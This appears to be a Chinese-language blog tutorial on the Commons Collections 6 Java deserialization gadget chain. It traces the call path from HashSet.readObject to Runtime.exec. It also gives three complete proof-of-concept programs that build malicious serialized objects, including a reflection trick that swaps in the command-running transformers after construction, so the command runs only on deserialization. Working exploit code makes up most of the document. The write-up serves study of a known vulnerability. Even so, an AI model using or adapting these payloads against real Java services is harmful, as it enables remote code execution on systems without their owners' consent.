简介

CC6 也是利用的是CC1 LazyMap#get, 触发ChainedTransformer链式调用,当然和CC5一样,得去寻找对应在哪儿会调用LazyMap#get,这里还是使用TiedMapEntry类,因为该类的构造函数map值可控,可以构造为lazymap,在Commons Collections 5 分析中,可以知道只要调用TiedMapEntry#getvalue 就能执行TiedMapEntry#getTiedMapEntry#get方法中,map值即为可控的lazymap
目前在jdk1.7,jdk8u81测试是没有问题

分析链路

  1. /*
  2. Gadget chain:
  3. java.io.ObjectInputStream.readObject()
  4. java.util.HashSet.readObject()
  5. java.util.HashMap.put()
  6. java.util.HashMap.hash()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  8. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  9. org.apache.commons.collections.map.LazyMap.get()
  10. org.apache.commons.collections.functors.ChainedTransformer.transform()
  11. org.apache.commons.collections.functors.InvokerTransformer.transform()
  12. java.lang.reflect.Method.invoke()
  13. java.lang.Runtime.exec()
  14. by @matthias_kaiser
  15. */

环境

  • jdk1.7
  • Commons Collection 3.1

看一下TiedMapEntry.java 源码,在hashCode() 方法中调用了getValue()函数,也就是需要找到TiedMapEntry的实例来调用这个hashCode()函数

  1. /**
  2. * Constructs a new entry with the given Map and key.
  3. *
  4. * @param map the map
  5. * @param key the key
  6. */
  7. public TiedMapEntry(Map map, Object key) {
  8. super();
  9. this.map = map;
  10. this.key = key;
  11. }
  12. /**
  13. * Gets the value of this entry direct from the map.
  14. *
  15. * @return the value
  16. */
  17. public Object getValue() {
  18. return map.get(key);
  19. }
  20. /**
  21. * Gets a hashCode compatible with the equals method.
  22. * <p>
  23. * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
  24. *
  25. * @return a suitable hash code
  26. */
  27. public int hashCode() {
  28. Object value = getValue();
  29. return (getKey() == null ? 0 : getKey().hashCode()) ^
  30. (value == null ? 0 : value.hashCode());
  31. }


那么去看看ysoserial里提供的CC6链路(这里截取一部分),从readObject()之后,主要需要看HashMap#put-> HashMap#hash是如何调用到TiedMapEntry#hashcode,这时就需要关注HashMap类

  1. java.util.HashSet.readObject()
  2. java.util.HashMap.put()
  3. java.util.HashMap.hash()
  4. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

我们从后往前分析先看HashMap#hash
这里传递的参数k是一个Obejct,只要k对象不是String类型,那么就会执行hashCode()方法,那么这里就需要想办法让指定参数k为TiedMapEntry的实例

  1. // HashMap.java
  2. final int hash(Object k) {
  3. int h = hashSeed;
  4. if (0 != h && k instanceof String) {
  5. return sun.misc.Hashing.stringHash32((String) k);
  6. }
  7. h ^= k.hashCode();
  8. // This function ensures that hashCodes that differ only by
  9. // constant multiples at each bit position have a bounded
  10. // number of collisions (approximately 8 at default load factor).
  11. h ^= (h >>> 20) ^ (h >>> 12);
  12. return h ^ (h >>> 7) ^ (h >>> 4);
  13. }

继续看HashMap#put, 在下面代码块的20行调用了hash(),此处put(K key, V value)接收的参数key要传入key保证为TiedMapEntry的实例,且table不能为EMPTY_TABLE

  1. // HashMap.java
  2. /**
  3. * Associates the specified value with the specified key in this map.
  4. * If the map previously contained a mapping for the key, the old
  5. * value is replaced.
  6. *
  7. * @param key key with which the specified value is to be associated
  8. * @param value value to be associated with the specified key
  9. * @return the previous value associated with <tt>key</tt>, or
  10. * <tt>null</tt> if there was no mapping for <tt>key</tt>.
  11. * (A <tt>null</tt> return can also indicate that the map
  12. * previously associated <tt>null</tt> with <tt>key</tt>.)
  13. */
  14. public V put(K key, V value) {
  15. if (table == EMPTY_TABLE) {
  16. inflateTable(threshold);
  17. }
  18. if (key == null)
  19. return putForNullKey(value);
  20. int hash = hash(key);
  21. int i = indexFor(hash, table.length);
  22. for (Entry<K,V> e = table[i]; e != null; e = e.next) {
  23. Object k;
  24. if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
  25. V oldValue = e.value;
  26. e.value = value;
  27. e.recordAccess(this);
  28. return oldValue;
  29. }
  30. }
  31. modCount++;
  32. addEntry(hash, key, value, i);
  33. return null;
  34. }

再往上回溯,可以看到在HashSet#readObject,在下面的代码块中,第24行,map.put(e,PRESENT)在put过程中,map为HashMap,e为对应的TiedMapEntry的实例,就能保证整个链路完整执行

  1. // HashSet.java
  2. /**
  3. * Reconstitute the <tt>HashSet</tt> instance from a stream (that is,
  4. * deserialize it).
  5. */
  6. private void readObject(java.io.ObjectInputStream s)
  7. throws java.io.IOException, ClassNotFoundException {
  8. // Read in any hidden serialization magic
  9. s.defaultReadObject();
  10. // Read in HashMap capacity and load factor and create backing HashMap
  11. int capacity = s.readInt();
  12. float loadFactor = s.readFloat();
  13. map = (((HashSet)this) instanceof LinkedHashSet ?
  14. new LinkedHashMap<E,Object>(capacity, loadFactor) :
  15. new HashMap<E,Object>(capacity, loadFactor));
  16. // Read in size
  17. int size = s.readInt();
  18. // Read in all elements in the proper order.
  19. for (int i=0; i<size; i++) {
  20. E e = (E) s.readObject();
  21. map.put(e, PRESENT);
  22. }
  23. }

ysoserial分析

  1. // jdk1.7 && Commons Collections 3.1
  2. // ...LazyMap逻辑
  3. // 此处生成的实例为HashMap
  4. HashSet map = new HashSet(1);
  5. // 此处调用的HashSet的add方法,然后add方法中map为HashMap再调用put方法,此时Entry<K,V>[] table 为空,且key不为对应的TiedMapEntry实例,不满足条件
  6. map.add("foo");
  7. //那么需要反射将HashMap$Entry[K,V][] table 赋值,且在调用put的时候key为对应的TiedMapEntry实例
  8. // 首先需要从HashSet实例的map值赋到HashMap实例map上,这里反射第一次将HashSet的实例map赋值给HashMap的实例Map
  9. Field f = HashSet.class.getDeclaredField("map");
  10. f.setAccessible(true);
  11. HashMap innerMap = (HashMap) f.get(map);
  12. // 此时 innerMap已经为HashMap实例,这会儿就需要反射HashMap的实例中的table赋值,让其不为null
  13. Field f1 = HashMap.class.getDeclaredField("table");
  14. f1.setAccessible(true);
  15. // 取值操作,HashMap实例中table的值赋值给一个对象数组
  16. Object[] array = (Object[]) f1.get(innerMap);
  17. // 此时这个数据的长度应该只有1,并且对应的值就应该为foo=java.lang.Object@6b7536e7
  18. Object node = array[0];
  19. // 此时最后一步就需要反射取得这个HashMap$Entry的key,并将其赋值为TiedMapEntry的实例
  20. Field keyFiled = node.getClass().getDeclaredField("key");
  21. keyField.setAccessible(true);
  22. keyField.set(node, "TiedMapEntry的实例");
  23. // 最后再将map序列化成文件
  24. writeObject(map);

POC

ysoserial(反序列化的HashSet)

  1. package com.myproject;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.HashMap;
  14. import java.util.HashSet;
  15. import java.util.Map;
  16. public class TestCC6 {
  17. public static void main(String[] args) throws Exception {
  18. Transformer[] transformers = new Transformer[]{
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  21. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  22. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  23. };
  24. Transformer transformerChian = new ChainedTransformer(transformers);
  25. Map innerMap = new HashMap();
  26. Map lazyMap = LazyMap.decorate(innerMap, transformerChian);
  27. TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
  28. HashSet map = new HashSet(1);
  29. map.add("foo");
  30. Field f = null;
  31. try {
  32. f = HashSet.class.getDeclaredField("map");
  33. } catch (NoSuchFieldException e) {
  34. f = HashSet.class.getDeclaredField("backingMap");
  35. }
  36. f.setAccessible(true);
  37. HashMap innimpl = (HashMap) f.get(map);
  38. Field f2 = null;
  39. try {
  40. f2 = HashMap.class.getDeclaredField("table");
  41. } catch (NoSuchFieldException e) {
  42. f2 = HashMap.class.getDeclaredField("elementData");
  43. }
  44. f2.setAccessible(true);
  45. Object[] objects = (Object[]) f2.get(innimpl);
  46. Object node = objects[0];
  47. if(node == null){
  48. node = objects[1];
  49. }
  50. Field keyField = null;
  51. try {
  52. keyField = node.getClass().getDeclaredField("key");
  53. } catch (Exception e) {
  54. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  55. }
  56. keyField.setAccessible(true);
  57. keyField.set(node, entry);
  58. try {
  59. FileOutputStream fileOutputStream = new FileOutputStream("cc6.ser");
  60. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  61. objectOutputStream.writeObject(map);
  62. FileInputStream fileInputStream = new FileInputStream("cc6.ser");
  63. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  64. objectInputStream.readObject();
  65. } catch (Exception e) {
  66. e.printStackTrace();
  67. }
  68. }
  69. }

image.png

更改poc(反序列化HashMap)

  1. java.io.ObjectInputStream.readObject()
  2. java.util.HashMap.readObject()
  3. java.util.HashMap.hash()
  4. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  5. org.apache.commons.collections.keyvalue.TiedMapEntry.get()
  6. org.apache.commons.collections.map.LazyMap.get()
  7. org.apache.commons.collections.functors.ChainedTransformer.transform()
  8. org.apache.commons.collections.functors.InvokerTransformer.transform()
  9. java.lang.reflect.Method.invoke()
  10. java.lang.Runtime.exec()

根据ysoserial改写,其实思路都一样

  1. package com.myproject;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.HashMap;
  14. import java.util.Map;
  15. public class TestCC6_Poc_1 {
  16. public static void main(String[] args) throws Exception {
  17. Transformer[] transformers = new Transformer[]{
  18. new ConstantTransformer(Runtime.class),
  19. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  20. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  21. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  22. };
  23. Transformer transformerChian = new ChainedTransformer(transformers);
  24. Map innerMap = new HashMap();
  25. Map lazyMap = LazyMap.decorate(innerMap, transformerChian);
  26. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  27. // 直接创建一个HashMap
  28. HashMap innimpl = new HashMap();
  29. // HashMap 里一定要有初始值,不然table为空无法获取对应的key
  30. innimpl.put(null, "123");
  31. Field f2 = null;
  32. try {
  33. f2 = HashMap.class.getDeclaredField("table");
  34. } catch (NoSuchFieldException e) {
  35. f2 = HashMap.class.getDeclaredField("elementData");
  36. }
  37. f2.setAccessible(true);
  38. Object[] objects = (Object[]) f2.get(innimpl);
  39. Object node = objects[0];
  40. Field keyField = null;
  41. try {
  42. keyField = node.getClass().getDeclaredField("key");
  43. } catch (Exception e) {
  44. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  45. }
  46. keyField.setAccessible(true);
  47. keyField.set(node, entry);
  48. try {
  49. FileOutputStream fileOutputStream = new FileOutputStream("cc6_1.ser");
  50. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  51. objectOutputStream.writeObject(innimpl);
  52. //
  53. FileInputStream fileInputStream = new FileInputStream("cc6_1.ser");
  54. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  55. objectInputStream.readObject();
  56. } catch (Exception e) {
  57. e.printStackTrace();
  58. }
  59. }
  60. }

image.png

更改POC_1(反序列化HashSet 1次反射)

其实看HashSet这个类的时候,我们可以看到调用add方法的时候,其实传入entry之后,对应的Object就是恶意对象实例,那么就会调用lazymap#get方法,从而在客户端就执行1次命令
具体可以看如下代码,当map.add(entry)之后,就会弹出notepad

  1. Transformer[] fakertransformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad.exe"})
  6. };
  7. Transformer transformerChain = new ChainedTransformer(fakertransformers);
  8. Map innerMap = new HashMap();
  9. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  10. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  11. HashSet map = new HashSet(1);
  12. map.add(entry);

image.png
调试一下如上的代码,在add处,传入的是e为entry
image.png
在调用hash函数的时候,传入的也是entry
image.png
最后调用key(entry).hashcode()这时就会调用TiedMapEntry#hashcode,最后就会调用LazyMap#get方法
image.png
那么在客户端执行成功之后,是不行的,因为在LazyMap#get处,会判断map 中是否存在对应的key,如果存在,就不会调用factory.transform

  1. // lazymap#get
  2. public Object get(Object key) {
  3. // create value for key if key is not currently in the map
  4. if (map.containsKey(key) == false) {
  5. Object value = factory.transform(key);
  6. map.put(key, value);
  7. return value;
  8. }
  9. return map.get(key);
  10. }

此时就需要保证在反序列化的时候lazymap中map不能有任何key

  1. lazyMap.remove("foo");

此时还未执行remove操作,可以看到lazymap存在值为foo
image.png
执行remove之后,可以看到,lazymap清空了
image.png
在ysoserial这个项目中,比如CC1中,都是在最后通过替换ChainedTransformer中的iTransformers为恶意的transformers来完成步骤

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  6. };
  7. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  8. f.setAccessible(true);
  9. f.set(transformerChain,transformers);

最后就是序列化与反序列化的步骤

  1. try{
  2. FileOutputStream fileOutputStream = new FileOutputStream("cc6_2.ser");
  3. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  4. objectOutputStream.writeObject(map);
  5. FileInputStream fileInputStream = new FileInputStream("cc6_2.ser");
  6. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  7. objectInputStream.readObject();
  8. }catch (Exception e){
  9. e.printStackTrace();
  10. }

完整poc

  1. package com.myproject;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.HashMap;
  14. import java.util.HashSet;
  15. import java.util.Map;
  16. public class TestCC6_Poc_2 {
  17. public static void main(String[] args) throws Exception {
  18. Transformer[] fakertransformers = new Transformer[]{
  19. new ConstantTransformer(1)
  20. };
  21. Transformer[] transformers = new Transformer[]{
  22. new ConstantTransformer(Runtime.class),
  23. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  24. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  25. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  26. };
  27. Transformer transformerChain = new ChainedTransformer(fakertransformers);
  28. Map innerMap = new HashMap();
  29. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  30. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  31. HashSet map = new HashSet(1);
  32. map.add(entry);
  33. lazyMap.remove("foo");
  34. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  35. f.setAccessible(true);
  36. f.set(transformerChain,transformers);
  37. try{
  38. FileOutputStream fileOutputStream = new FileOutputStream("cc6_2.ser");
  39. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  40. objectOutputStream.writeObject(map);
  41. FileInputStream fileInputStream = new FileInputStream("cc6_2.ser");
  42. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  43. objectInputStream.readObject();
  44. }catch (Exception e){
  45. e.printStackTrace();
  46. }
  47. }
  48. }

在最后生成了序列化的文件,再将前面的代码注释掉,只留下反序列化的代码,最后只会执行transformers
image.png